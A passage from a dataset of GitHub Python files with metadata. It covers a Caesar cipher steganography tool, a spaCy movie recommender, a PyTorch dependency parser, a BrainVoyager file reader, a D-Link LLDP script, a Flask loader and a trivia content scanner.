\\\n            + iterdata.__next__()[:3] + iterdata.__next__()[:3]]\n\n        # Pixel value should be made odd for 1 and even for 0\n        for j in range(0, 8):\n            if (datalist[i][j] == '0' and pix[j]% 2 != 0):\n                pix[j] -= 1\n\n            elif (datalist[i][j] == '1' and pix[j] % 2 == 0):\n                if pix[j] != 0:\n                    pix[j] -= 1\n                else:\n                    pix[j] += 1\n        #Eighth pixel of every set tells whether to stop or read further.\n        #0 means keep reading; 1 means the message is over.\n        #i==lendata-1 means we read the last 8-bit binary value\n        if i == lendata - 1:\n            if pix[-1] % 2 == 0:\n                if pix[-1] != 0:\n                    pix[-1] -= 1\n                else:\n                    pix[-1] += 1\n\n        else:\n            if pix[-1] % 2 != 0:\n                pix[-1] -= 1\n\n        pix = tuple(pix)\n        #yield is a keyword in Python that is used to return from a function\n        #without destroying the states of its local variable\n        #and when the function is called, the execution starts from the last yield statement\n        yield pix[0:3]\n        yield pix[3:6]\n        yield pix[6:9]\n\n#Encoding the data\ndef encode_data(cloneimg, data):\n    \"\"\"\n    encode\n    =======\n    Encodes the string provided in the parameter data into the image and saves as new_img_name\n    Parameters:\n    -----------\n    *   img: the original image in which the data needs to be encoded\n    *   data: the the string to be encoded in the image\n    *   new_img_name: the new image which contains the encoded data\n    Returns:\n    *   True, after completion of all the steps\n    Doctests\n    ========\n    >>> encode(abc.png,\"Hello World\",xyz.png)\n    True\n\n    \"\"\"\n    # w is the width of the image\n    width_image = cloneimg.size[0]\n    (x_val, y_val) = (0, 0)\n\n    # getdata() Returns the contents of this image as a sequence object containing pixel values.\n    # The sequence object is flattened, so that values for\n    # line one follow directly after the values of line zero, and so on.\n    # The default is to return all bands.\n    # To return a single band, pass in the index value\n    # (e.g. 0 to get the “R” band from an “RGB” image)\n    for pixel in alter_pixel(cloneimg.getdata(), data):\n\n        # Putting modified pixels in the new image\n        cloneimg.putpixel((x_val, y_val), pixel)\n        if x_val == width_image - 1:\n            x_val = 0\n            y_val += 1\n        else:\n            x_val += 1\n\n# Encode data into image\ndef encode(img,data,new_img_name):\n    \"\"\"\n    encode\n    =======\n    Encodes the string provided in the parameter data into the image and saves as new_img_name\n    Parameters:\n    -----------\n    *   img: the original image in which the data needs to be encoded\n    *   data: the ciphered string to be encoded in the image\n    *   new_img_name: the new image which contains the encoded data\n    Returns:\n    *   True, after completion of all the steps\n\n    More on the Image based Steganography\n    =========================\n    Steganography is the method of hiding secret data in any image/audio/video.\n    In a nutshell, the main motive of steganography is to hide the intended information\n    within any image/audio/video that doesn’t appear to be secret just by looking at it.\n    The idea behind image-based Steganography is very simple.\n    Images are composed of digital data (pixels), which describes what’s inside the picture,\n    usually the colors of all the pixels.\n    Since we know every image is made up of pixels\n    and every pixel contains 3-values (red, green, blue).\n    Further reading\n    ===============\n    *   https://www.geeksforgeeks.org/image-based-steganography-using-python/\n\n    Doctests\n    ========\n    >>> encode(abc.png,\"Hello World\",xyz.png)\n    True\n    \"\"\"\n    image = Image.open(img, 'r')\n    if len(data) == 0:\n        raise ValueError('Empty data received from the user.')\n\n    cloneimg = image.copy()\n    encode_data(cloneimg, data)\n\n    cloneimg.save(new_img_name, str(new_img_name.split(\".\")[1].upper()))\n\n    return True\n\n# Decode the data in the image\ndef decode(img):\n    \"\"\"\n    decode\n    =======\n    Decodes the hidden text from the image and returns the string\n    Parameters:\n    -----------\n    *   img: the image containing the hidden string\n    Returns:\n    *   A string decoded from the image\n    Doctests\n    ========\n    >>> decode(abc.png)\n    Tqxxa Iadxp\n    \"\"\"\n    image = Image.open(img, 'r')\n\n    data = ''\n    # The iter() function creates an object which can be iterated one element at a time.\n    iterdata = iter(image.getdata())\n    while True:\n        pixels = [value for value in iterdata.__next__()[:3] \\\n            + iterdata.__next__()[:3] + iterdata.__next__()[:3]]\n\n        # string of binary data\n        binarystr = ''\n        #Each string of 8-bit binary data would represent a letter/character\n        for i in pixels[:8]:\n            if i%2 == 0:\n                binarystr += '0'\n            else:\n                binarystr += '1'\n\n        data += chr(int(binarystr, 2))\n        if pixels[-1] % 2 != 0:\n            return data\n\ndef main():\n    \"\"\"\n    main\n    =======\n    Driver function\n\n    Test Case 1: Encoding\n    > python caesar_ciphers_with_steganography.py --encode OriginalImage.png\n    --key 13 --message \"Hello World\" --newimg encodeImg.png\n    Output:\n    ********************* Caesar cipher with Steganography *********************\n    [*] Encoding data in the image initiated.\n    [*] Image name: OriginalImage.png\n\n    [+] Data ciphered successfully --------- [50%  Completed]\n    [+] Encoding successful ---------------- [100% Completed]\n\n    [+] The new image is saved as: encodeImg.png\n\n    Test Case 2: Decoding\n    >  python caesar_ciphers_with_steganography.py --decode encodeImg.png --key 13\n    Output:\n    ********************* Caesar cipher with Steganography *********************\n    [*] Decoding data from the image initiated\n    [*] Image name: encodeImg.png\n\n    [+] Decoding successful ----------------- [50%  Completed]\n    [+] Data deciphered successful ---------- [100% Completed]\n\n    [+] The data decoded and deciphered from the image is:  Hello World\n    [+] Task Completed\n\n    Test Case 3: No arguments provided\n    > python caesar_ciphers_with_steganography.py\n    Output:\n    ********************* Caesar cipher with Steganography *********************\n    [-] No arguments were provided.\n    [*] Type 'python filename.py -h' or 'python filename.py --help' for help.\n\n    Test Case 4: For help\n    > python caesar_ciphers_with_steganography.py --help\n    Output:\n    ********************* Caesar cipher with Steganography *********************\n    usage: caesar_ciphers_with_steganography.py [-h] [-k KEY] [-m MESSAGE]\n                                            [-e ENCODE] [-n NEWIMG]\n                                            [-d DECODE] [-s SYNTAX]\n\n    optional arguments:\n        -h, --help            show this help message and exit\n        -k KEY, --key KEY     insert your shift key for cipher\n        -m MESSAGE, --message MESSAGE\n                        insert your message here\n        -e ENCODE, --encode ENCODE\n                        name of the image file where we want to hide the\n                        message\n        -n NEWIMG, --newimg NEWIMG\n                        name of the new image file where data will be hidden\n        -d DECODE, --decode DECODE\n                        name of the image file which has the hidden message\n        -s SYNTAX, --syntax SYNTAX\n                        Type 'python filename.py -s YES' or 'python\n                        filename.py --syntax YES'\n    ========\n    \"\"\"\n    print(\"\\n********************* Caesar cipher with Steganography *********************\")\n\n    # Initialize parser\n    parser = argparse.ArgumentParser()\n    # Adding optional argument\n    parser.add_argument(\"-k\", \"--key\", help = \"insert your shift key for cipher\",type=int)\n    parser.add_argument(\"-m\", \"--message\", help = \"insert your message here\")\n    parser.add_argument(\"-e\", \"--encode\", \\\n        help = \"name of the image file where we want to hide the message\")\n    parser.add_argument(\"-n\", \"--newimg\", \\\n        help = \"name of the new image file where data will be hidden\")\n    parser.add_argument(\"-d\", \"--decode\", \\\n        help = \"name of the image file which has the hidden message\")\n    parser.add_argument(\"-s\", \"--syntax\", \\\n        help = \"Type 'python filename.py -s YES' or 'python filename.py --syntax YES'\")\n    # Read arguments from command line\n    args = parser.parse_args()\n    syntaxhelp = False\n    if args.syntax:\n        print(\"[*] To encode use the following syntax:\")\n        print(\"python filename.py -e [image name with extension]\"\\\n            \" -n [new image name with extension] -k [shift key, an integer value]\"\\\n                \" -m [Your string to be encoded within inverted commas]\\n\")\n        print(\"[*] To decode use the following syntax:\")\n        print(\"python filename.py -d [image name with extension where the data is hidden]\"\\\n            \" -k [shift key, an integer value]\\n\")\n        syntaxhelp = True\n    if not syntaxhelp:\n        if args.encode is None and args.decode is None:\n            print(\"\\n\\n[-] No arguments were provided.\")\n            print(\"[*] Type 'python filename.py -h' or 'python filename.py --help' for help.\\n\\n\")\n\n        if args.encode:\n            print(\"[*] Encoding data in the image initiated.\\n[*] Image name: % s\\n\" % args.encode)\n            if args.key is None or args.message is None or args.newimg is None:\n                print(\"Process terminated due to lack of arguments!\")\n            else:\n                msg = encrypt(args.message,args.key)\n                print(\"[+] Data ciphered successfully --------- [50%  Completed]\")\n                if encode(args.encode,msg,args.newimg):\n                    print(\"[+] Encoding successful ---------------- [100% Completed]\\n\")\n                    print(\"[+] The new image is saved as: % s\\n\" % args.newimg)\n        if args.decode:\n            print(\"[*] Decoding data from the image initiated\")\n            print(\"[*] Image name: % s\\n\" % args.decode)\n            if args.key:\n                ciphermsg = decode(args.decode)\n                print(\"[+] Decoding successful ----------------- [50%  Completed]\")\n                msg = decrypt(ciphermsg, args.key)\n                print(\"[+] Data deciphered successful ---------- [100% Completed]\\n\")\n                print(\"[+] The data decoded and deciphered from the image is: \",msg)\n                print(\"[+] Task Completed\")\nif __name__ == \"__main__\":\n    main()\n","repo_name":"aryangulati/DEV","sub_path":"Projects/caesar_ciphers_with_steganography.py","file_name":"caesar_ciphers_with_steganography.py","file_ext":"py","file_size_in_byte":14472,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"51"}
+{"seq_id":"34248602452","text":"\"\"\"program will calculate the similarity between a group of movies and planet hulk movie\"\"\"\n\n#importing module and dictionary\nimport spacy\nnlp = spacy.load(\"en_core_web_md\")\n\n#planet hulk movie description, to compare other titles in movies\nplanethulk = nlp(\"Will he save their world or destroy it? When the Hulk becomes too dangerous for the Earth, the Illuminati trick Hulk into a shuttle and launch him into space to a planet where the Hulk can live in peace. Unfortunately, Hulk land on the planet Sakaar where he is sold into slavery and trained as a gladiator.\")\n\n#lists \nmovies = []\nsimilar_list = []\nend_list = []\n\ndef similar(movie, description):\n    \"\"\"the function calculates the similarity between movies and planet hulk\"\"\"\n    similarity = nlp(description).similarity(planethulk)\n    similar_list.append(similarity)\n    check = f\"{movie},{similarity}\"\n    check = check.split(\",\")\n    end_list.append(check)\n    high_sim = str(max(similar_list))\n\n    for line in end_list:\n        if high_sim in line:\n            suggested_movie = line[0]\n\n    for line in movies:\n        if suggested_movie in line:\n            result = (f\"\"\"\n       \nBecause you watched Planet Hulk, you may like this movie: \n        \n{suggested_movie}: {line[1]}\n\"\"\")\n    return result\n\n#extracting movies list from the file\nwith open (\"movies.txt\", \"r\") as file:\n    for line in file:\n        line = line.strip(\"\\n\")\n        line = line.split(\":\")\n        movies.append(line)\n\nfor line in movies:\n    result = similar(line[0], line[1])\n\nprint (result)","repo_name":"lodo13/nlpprojects","sub_path":"watch_next.py","file_name":"watch_next.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"1201301513","text":"\n# coding: utf-8\n\n# In[1]:\n# In[17]:\n\nimport os, pickle, re\ndl = os.listdir('./outpdfs')\n\n\n# In[16]:\n\ndic = {}\ncount = 1\nfor doc in dl:\n    if '.p' in doc:\n        print (doc)\n        dicb = {}\n        dici = {}\n        dicbi = {}\n        f = open ('./outpdfs/' + doc, 'rb')\n        r = pickle.load(f)\n        for b in r[0][0]:\n            dicb[b] = 'b'\n        for i in r[0][1]:\n            dici[i] = 'i'\n        for bi in r[0][2]:\n            dicbi[bi] = 'bi'\n        x = re.sub('.p', '', doc)\n        dic[x] = [dicb, dici, dicbi]\n        print (count, x, 'completed', sep = ' ')\n        count += 1\nm = open ('../style.pckl', 'wb')\npickle.dump (dic, m)\nm.close()\n\n# In[ ]:\n\n\n\n","repo_name":"TheGrayFrost/OCR","sub_path":"KeyphraseExtraction/Stylistics/style.py","file_name":"style.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"4475814301","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Nov 28 18:10:56 2017\n\n@author: diana\n\"\"\"\n\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nfrom MLP import MLP\nimport itertools\n\ndef disableTrainingForEmbeddings(model, *embeddingLayers):\n    for e in embeddingLayers:\n        e.weight.requires_grad = False\n\nclass DependencyParseModel(nn.Module):\n    def __init__(self, word_embeddings_dim, tag_embeddings_dim, vocabulary_size, tag_uniqueCount, label_uniqueCount, pretrainedWordEmbeddings=None, pretrainedTagEmbeddings=None):\n        super().__init__()\n        \n        self.word_embeddings = nn.Embedding(vocabulary_size, word_embeddings_dim)\n        # if pretrainedWordEmbeddings.any():\n        #     assert pretrainedWordEmbeddings.shape == (vocabulary_size, word_embeddings_dim)\n        #     self.word_embeddings.weight.data.copy_(torch.from_numpy(pretrainedWordEmbeddings))\n        #\n        self.tag_embeddings = nn.Embedding(tag_uniqueCount, tag_embeddings_dim)\n\n        # if pretrainedTagEmbeddings.any():\n        #     assert pretrainedTagEmbeddings.shape == (tag_uniqueCount, tag_embeddings_dim)\n        #     self.tag_embeddings.weight.data.copy_(torch.from_numpy(pretrainedTagEmbeddings))\n        #\n        # # Save computation time by not training already trained word vectors\n        # disableTrainingForEmbeddings(self, self.word_embeddings, self.tag_embeddings)\n        \n        self.inputSize = word_embeddings_dim + tag_embeddings_dim # The number of expected features in the input x\n        self.hiddenSize = self.inputSize  #* 2 # 512? is this the same as outputSize?\n        self.nLayers = 2\n        \n        self.biLstm = nn.LSTM(self.inputSize, self.hiddenSize, self.nLayers, bidirectional=True)\n        \n        self.nDirections = 2\n        self.batch = 1\n        self.hidden, self.cell = self.initHiddenCellState()\n        \n    def initHiddenCellState(self):\n        hiddenState = Variable(torch.randn(self.nLayers * self.nDirections, self.batch, self.hiddenSize))\n        cellState = Variable(torch.randn(self.nLayers * self.nDirections, self.batch, self.hiddenSize))\n        \n        return hiddenState, cellState\n    \n    def forward(self, words_tensor, tags_tensor):\n        wordEmbeds = self.word_embeddings(words_tensor)\n        tagEmbeds = self.tag_embeddings(tags_tensor)\n        inputTensor = torch.cat((wordEmbeds, tagEmbeds), 1)\n        hVector, (self.hidden, self.cell) = self.biLstm(inputTensor.view(len(words_tensor), 1, -1), (self.hidden, self.cell))\n\n\n        return hVector\n","repo_name":"diana3372/nlp_temp","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"17823373675","text":"\"\"\"Read, write, create BrainVoyager MTC file format.\"\"\"\n\nimport struct\nimport numpy as np\nfrom bvbabel.utils import read_variable_length_string, write_variable_length_string\n\n\n# =============================================================================\ndef read_mtc(filename):\n    \"\"\"Read BrainVoyager MTC file.\n\n    Parameters\n    ----------\n    filename : string\n        Path to file.\n\n    Returns\n    -------\n    header : dictionary\n        Pre-data headers.\n    data : 2D numpy.array, (nr_vertices, time points)\n        Vertex-wise time points (float32).\n\n    \"\"\"\n    header = dict()\n    data_mtc = dict()\n    with open(filename, 'rb') as f:\n        # Expected binary data: int (4 bytes)\n        data, = struct.unpack('<i', f.read(4))\n        header[\"File version\"] = data\n        data, = struct.unpack('<i', f.read(4))\n        header[\"Nr vertices\"] = data\n        data, = struct.unpack('<i', f.read(4))\n        header[\"Nr time points\"] = data\n\n        # Expected binary data: variable-length string\n        data = read_variable_length_string(f)\n        header[\"VTC name\"] = data\n        data = read_variable_length_string(f)\n        header[\"PRT name\"] = data\n\n        # Expected binary data: char (1 byte)\n        data, = struct.unpack('<B', f.read(1))\n        header[\"Datatype (1 = float)\"] = data\n\n        # ---------------------------------------------------------------------\n        # Vertex-wise time points data\n        dims = (header[\"Nr vertices\"], header[\"Nr time points\"])\n        data_mtc = np.fromfile(f, dtype='<f', count=dims[0]*dims[1], sep=\"\",\n                               offset=0)\n        data_mtc = np.reshape(data_mtc, dims)\n\n        return header, data_mtc\n\n\ndef write_mtc(filename, header, data_mtc):\n    \"\"\"Protocol to write BrainVoyager MTC file.\n\n    Parameters\n    ----------\n    filename : string\n        Path to file.\n    header : dictionary\n        Pre-data headers.\n    data_mtc : 2D numpy.array, (nr_vertices, time points)\n        Vertex-wise time points (float32).\n\n    \"\"\"\n    with open(filename, 'wb') as f:\n        # Expected binary data: int (4 bytes)\n        data = header[\"File version\"]\n        f.write(struct.pack('<i', data))\n        data = header[\"Nr vertices\"]\n        f.write(struct.pack('<i', data))\n        data = header[\"Nr time points\"]\n        f.write(struct.pack('<i', data))\n\n        # Expected binary data: variable-length string\n        data = header[\"VTC name\"]\n        write_variable_length_string(f, data)\n        data = header[\"PRT name\"]\n        write_variable_length_string(f, data)\n\n        # Expected binary data: char (1 byte)\n        data = header[\"Datatype (1 = float)\"]\n        f.write(struct.pack('<B', data))\n\n        # ---------------------------------------------------------------------\n        # Vertex-wise time points data\n        dims = (header[\"Nr vertices\"], header[\"Nr time points\"])\n        data_mtc = np.reshape(data_mtc, dims[0] * dims[1])\n        for i in range(dims[0] * dims[1]):\n            f.write(struct.pack('<f', data_mtc[i]))\n\n        return header, data_mtc\n","repo_name":"ofgulban/bvbabel","sub_path":"bvbabel/mtc.py","file_name":"mtc.py","file_ext":"py","file_size_in_byte":3059,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"51"}
+{"seq_id":"40304680194","text":"from builtins import zip\nimport re\n\n# NOC modules\nfrom noc.core.script.base import BaseScript\nfrom noc.sa.interfaces.igetlldpneighbors import IGetLLDPNeighbors\nfrom noc.core.mac import MAC\nfrom noc.core.lldp import LLDP_CHASSIS_SUBTYPE_MAC, LLDP_PORT_SUBTYPE_MAC\nfrom noc.core.comp import smart_text\nfrom noc.core.snmp.render import render_bin\n\n\nclass Script(BaseScript):\n    name = \"DLink.DxS_Smart.get_lldp_neighbors\"\n    interface = IGetLLDPNeighbors\n\n    rx_port = re.compile(\n        r\"^Port ID : (?P<port>\\S+)\\s*\\n\"\n        r\"^-+\\s*\\n\"\n        r\"^Remote Entities Count : [1-9]+\\s*\\n\"\n        r\"(?P<entities>.+?): \\d+\\s*\\n\\n\",\n        re.MULTILINE | re.DOTALL | re.IGNORECASE,\n    )\n    rx_entity = re.compile(\n        r\"^Entity \\d+\\s*\\n\"\n        r\"^\\s+Chassis ID Subtype\\s+:(?P<chassis_id_subtype>.+)\\s*\\n\"\n        r\"^\\s+Chassis ID\\s+:(?P<chassis_id>.+)\\s*\\n\"\n        r\"^\\s+Port ID Subtype\\s+:(?P<port_id_subtype>.+)\\s*\\n\"\n        r\"^\\s+Port ID\\s+:(?P<port_id>.+)\\s*\\n\"\n        r\"^\\s*Port Description\\s+:(?P<port_description>.*)\"\n        r\"^\\s+System Name\\s+:(?P<system_name>.*)\"\n        r\"^\\s+System Description\\s+:(?P<system_description>.*)\"\n        r\"^\\s+System Capabilities\\s+:(?P<system_capabilities>.+?)\\s*\\n\"\n        r\"^\\s+Management Address Count\",\n        re.MULTILINE | re.DOTALL | re.IGNORECASE,\n    )\n\n    def execute_snmp(self):\n        neighb = (\n            \"remote_chassis_id_subtype\",\n            \"remote_chassis_id\",\n            \"remote_port_subtype\",\n            \"remote_port\",\n            \"remote_port_description\",\n            \"remote_system_name\",\n            \"remote_system_description\",\n            \"remote_capabilities\",\n        )\n        r = []\n        local_ports = {}\n        # Get LocalPort Table\n        for v in self.snmp.get_tables(\n            [\n                \"1.0.8802.1.1.2.1.3.7.1.2\",  # LLDP-MIB::lldpLocPortIdSubtype\n                \"1.0.8802.1.1.2.1.3.7.1.3\",  # LLDP-MIB::lldpLocPortId\n            ]\n        ):\n            local_ports[v[0]] = {\n                \"local_interface\": self.profile.convert_interface_name(v[2]),\n                \"local_interface_subtype\": v[1],\n            }\n        for v in self.snmp.get_tables(\n            [\n                \"1.0.8802.1.1.2.1.4.1.1.4\",  # LLDP-MIB::lldpRemChassisIdSubtype\n                \"1.0.8802.1.1.2.1.4.1.1.5\",  # LLDP-MIB::lldpRemChassisId\n                \"1.0.8802.1.1.2.1.4.1.1.6\",  # LLDP-MIB::lldpRemPortIdSubtype\n                \"1.0.8802.1.1.2.1.4.1.1.7\",  # LLDP-MIB::lldpRemPortId\n                \"1.0.8802.1.1.2.1.4.1.1.8\",  # LLDP-MIB::lldpRemPortDesc\n                \"1.0.8802.1.1.2.1.4.1.1.9\",  # LLDP-MIB::lldpRemSysName\n                \"1.0.8802.1.1.2.1.4.1.1.10\",  # LLDP-MIB::lldpRemSysDesc\n                \"1.0.8802.1.1.2.1.4.1.1.12\",  # LLDP-MIB::lldpRemSysCapEnabled\n            ],\n            display_hints={\n                \"1.0.8802.1.1.2.1.4.1.1.7\": render_bin,\n                \"1.0.8802.1.1.2.1.4.1.1.5\": render_bin,\n            },\n        ):\n            neigh = dict(list(zip(neighb, v[1:])))\n            if neigh[\"remote_chassis_id_subtype\"] == LLDP_CHASSIS_SUBTYPE_MAC:\n                neigh[\"remote_chassis_id\"] = MAC(neigh[\"remote_chassis_id\"])\n            if neigh[\"remote_port_subtype\"] == LLDP_PORT_SUBTYPE_MAC:\n                neigh[\"remote_port\"] = MAC(neigh[\"remote_port\"])\n            else:\n                neigh[\"remote_port\"] = neigh[\"remote_port\"].decode(\"utf8\")\n            for i in neigh:\n                if isinstance(neigh[i], str):\n                    neigh[i] = neigh[i].rstrip(smart_text(\"\\x00\"))\n            if neigh[\"remote_capabilities\"]:\n                neigh[\"remote_capabilities\"] = int(\n                    \"\".join(\n                        x\n                        for x in reversed(\n                            \"{0:016b}\".format(ord(neigh[\"remote_capabilities\"]) << 8 + 0x0)\n                        )\n                    ),\n                    2,\n                )\n            else:\n                neigh[\"remote_capabilities\"] = 0\n            r += [\n                {\n                    \"local_interface\": local_ports[v[0].split(\".\")[1]][\"local_interface\"],\n                    \"neighbors\": [neigh],\n                }\n            ]\n        return r\n","repo_name":"nocproject/noc","sub_path":"sa/profiles/DLink/DxS_Smart/get_lldp_neighbors.py","file_name":"get_lldp_neighbors.py","file_ext":"py","file_size_in_byte":4208,"program_lang":"python","lang":"en","doc_type":"code","stars":108,"dataset":"github-code","pt":"51"}
+{"seq_id":"33799716813","text":"from flask import Flask\nfrom api.config import config\nfrom api.config.routes import routes\n\nclass Loader:\n    @staticmethod\n    def create_app(env_name):\n\n        #app initiliazation\n        app = Flask(__name__)\n        app.config.from_object(config.APP_CONFIG[env_name])\n\n        #Directing to Routes\n        routes.fetch_routes(app)\n\n        return app\n\nAPP = Loader.create_app('development')\n\nif __name__ == '__main__':\n    APP.run(port=5000)\n","repo_name":"JamesMudidi/SendIT-Api","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"3440140089","text":"import re\r\nfrom typing import Optional, Pattern, Set\r\n\r\ntry:\r\n    import CynanBotCommon.utils as utils\r\n    from CynanBotCommon.timber.timberInterface import TimberInterface\r\n    from CynanBotCommon.trivia.absTriviaQuestion import AbsTriviaQuestion\r\n    from CynanBotCommon.trivia.bannedWords.bannedPhrase import BannedPhrase\r\n    from CynanBotCommon.trivia.bannedWords.bannedWord import BannedWord\r\n    from CynanBotCommon.trivia.bannedWords.bannedWordsRepositoryInterface import \\\r\n        BannedWordsRepositoryInterface\r\n    from CynanBotCommon.trivia.bannedWords.bannedWordType import BannedWordType\r\n    from CynanBotCommon.trivia.triviaContentCode import TriviaContentCode\r\n    from CynanBotCommon.trivia.triviaContentScannerInterface import \\\r\n        TriviaContentScannerInterface\r\n    from CynanBotCommon.trivia.triviaSettingsRepositoryInterface import \\\r\n        TriviaSettingsRepositoryInterface\r\n    from CynanBotCommon.trivia.triviaType import TriviaType\r\nexcept:\r\n    import utils\r\n    from timber.timberInterface import TimberInterface\r\n    from trivia.absTriviaQuestion import AbsTriviaQuestion\r\n    from trivia.bannedWords.bannedPhrase import BannedPhrase\r\n    from trivia.bannedWords.bannedWord import BannedWord\r\n    from trivia.bannedWords.bannedWordsRepositoryInterface import \\\r\n        BannedWordsRepositoryInterface\r\n    from trivia.bannedWords.bannedWordType import BannedWordType\r\n    from trivia.triviaContentCode import TriviaContentCode\r\n    from trivia.triviaContentScannerInterface import \\\r\n        TriviaContentScannerInterface\r\n    from trivia.triviaSettingsRepositoryInterface import \\\r\n        TriviaSettingsRepositoryInterface\r\n    from trivia.triviaType import TriviaType\r\n\r\n\r\nclass TriviaContentScanner(TriviaContentScannerInterface):\r\n\r\n    def __init__(\r\n        self,\r\n        bannedWordsRepository: BannedWordsRepositoryInterface,\r\n        timber: TimberInterface,\r\n        triviaSettingsRepository: TriviaSettingsRepositoryInterface\r\n    ):\r\n        if not isinstance(bannedWordsRepository, BannedWordsRepositoryInterface):\r\n            raise ValueError(f'bannedWordsRepository argument is malformed: \\\"{bannedWordsRepository}\\\"')\r\n        elif not isinstance(timber, TimberInterface):\r\n            raise ValueError(f'timber argument is malformed: \\\"{timber}\\\"')\r\n        elif not isinstance(triviaSettingsRepository, TriviaSettingsRepositoryInterface):\r\n            raise ValueError(f'triviaSettingsRepository argument is malformed: \\\"{triviaSettingsRepository}\\\"')\r\n\r\n        self.__bannedWordsRepository: BannedWordsRepositoryInterface = bannedWordsRepository\r\n        self.__timber: TimberInterface = timber\r\n        self.__triviaSettingsRepository: TriviaSettingsRepositoryInterface = triviaSettingsRepository\r\n\r\n        self.__phraseRegEx: Pattern = re.compile(r'[a-z]+', re.IGNORECASE)\r\n        self.__wordRegEx: Pattern = re.compile(r'\\w', re.IGNORECASE)\r\n\r\n    async def __getAllPhrasesFromQuestion(self, question: AbsTriviaQuestion) -> Set[Optional[str]]:\r\n        if not isinstance(question, AbsTriviaQuestion):\r\n            raise ValueError(f'question argument is malformed: \\\"{question}\\\"')\r\n\r\n        phrases: Set[Optional[str]] = set()\r\n        await self.__updateQuestionPhrasesContent(phrases, question.getQuestion())\r\n        await self.__updateQuestionPhrasesContent(phrases, question.getPrompt())\r\n\r\n        if question.hasCategory():\r\n            await self.__updateQuestionPhrasesContent(phrases, question.getCategory())\r\n\r\n        for correctAnswer in question.getCorrectAnswers():\r\n            await self.__updateQuestionPhrasesContent(phrases, correctAnswer)\r\n\r\n        for response in question.getResponses():\r\n            await self.__updateQuestionPhrasesContent(phrases, response)\r\n\r\n        return phrases\r\n\r\n    async def __getAllWordsFromQuestion(self, question: AbsTriviaQuestion) -> Set[Optional[str]]:\r\n        if not isinstance(question, AbsTriviaQuestion):\r\n            raise ValueError(f'question argument is malformed: \\\"{question}\\\"')\r\n\r\n        words: Set[Optional[str]] = set()\r\n        await self.__updateQuestionWordsContent(words, question.getQuestion())\r\n        await self.__updateQuestionWordsContent(words, question.getPrompt())\r\n\r\n        if question.hasCategory():\r\n            await self.__updateQuestionWordsContent(words, question.getCategory())\r\n\r\n        for correctAnswer in question.getCorrectAnswers():\r\n            await self.__updateQuestionWordsContent(words, correctAnswer)\r\n\r\n        for response in question.getResponses():\r\n            await self.__updateQuestionWordsContent(words, response)\r\n\r\n        return words\r\n\r\n    async def __updateQuestionPhrasesContent(\r\n        self,\r\n        phrases: Set[str],\r\n        string: Optional[str]\r\n    ):\r\n        if not isinstance(phrases, Set):\r\n            raise ValueError(f'phrases argument is malformed: \\\"{phrases}\\\"')\r\n\r\n        if not utils.isValidStr(string):\r\n            return\r\n\r\n        string = string.lower()\r\n        words = self.__phraseRegEx.findall(string)\r\n\r\n        if not utils.hasItems(words):\r\n            return\r\n\r\n        phrase = ' '.join(words)\r\n        phrases.add(phrase)\r\n\r\n    async def __updateQuestionWordsContent(\r\n        self,\r\n        words: Set[Optional[str]],\r\n        string: Optional[str]\r\n    ):\r\n        if not isinstance(words, Set):\r\n            raise ValueError(f'words argument is malformed: \\\"{words}\\\"')\r\n\r\n        if not utils.isValidStr(string):\r\n            return\r\n\r\n        splits = string.lower().split()\r\n\r\n        if not utils.hasItems(splits):\r\n            return\r\n\r\n        for split in splits:\r\n            words.add(split)\r\n            characters = self.__wordRegEx.findall(split)\r\n\r\n            if not utils.hasItems(characters):\r\n                continue\r\n\r\n            word = ''.join(characters)\r\n            words.add(word)\r\n\r\n    async def verify(self, question: Optional[AbsTriviaQuestion]) -> TriviaContentCode:\r\n        if question is None:\r\n            return TriviaContentCode.IS_NONE\r\n\r\n        if not isinstance(question, AbsTriviaQuestion):\r\n            raise ValueError(f'question argument is malformed: \\\"{question}\\\"')\r\n\r\n        coreContentCode = await self.__verifyQuestionCoreContent(question)\r\n        if coreContentCode is not TriviaContentCode.OK:\r\n            return coreContentCode\r\n\r\n        responsesContentCode = await self.__verifyQuestionResponseCount(question)\r\n        if responsesContentCode is not TriviaContentCode.OK:\r\n            return responsesContentCode\r\n\r\n        lengthsContentCode = await self.__verifyQuestionContentLengths(question)\r\n        if lengthsContentCode is not TriviaContentCode.OK:\r\n            return lengthsContentCode\r\n\r\n        urlContentCode = await self.__verifyQuestionDoesNotContainUrl(question)\r\n        if urlContentCode is not TriviaContentCode.OK:\r\n            return urlContentCode\r\n\r\n        contentSanityCode = await self.__verifyQuestionContentProfanity(question)\r\n        if contentSanityCode is not TriviaContentCode.OK:\r\n            return contentSanityCode\r\n\r\n        return TriviaContentCode.OK\r\n\r\n    async def __verifyQuestionContentLengths(self, question: AbsTriviaQuestion) -> TriviaContentCode:\r\n        if not isinstance(question, AbsTriviaQuestion):\r\n            raise ValueError(f'question argument is malformed: \\\"{question}\\\"')\r\n\r\n        maxQuestionLength = await self.__triviaSettingsRepository.getMaxQuestionLength()\r\n\r\n        if len(question.getQuestion()) >= maxQuestionLength:\r\n            self.__timber.log('TriviaContentScanner', f'Trivia question is too long (max is {maxQuestionLength}): {question.getQuestion()}')\r\n            return TriviaContentCode.QUESTION_TOO_LONG\r\n\r\n        maxPhraseAnswerLength = await self.__triviaSettingsRepository.getMaxPhraseAnswerLength()\r\n\r\n        if question.getTriviaType() is TriviaType.QUESTION_ANSWER:\r\n            for correctAnswer in question.getCorrectAnswers():\r\n                if len(correctAnswer) >= maxPhraseAnswerLength:\r\n                    self.__timber.log('TriviaContentScanner', f'Trivia answer is too long (max is {maxPhraseAnswerLength}): {question.getCorrectAnswers()}')\r\n                    return TriviaContentCode.ANSWER_TOO_LONG\r\n\r\n        maxAnswerLength = await 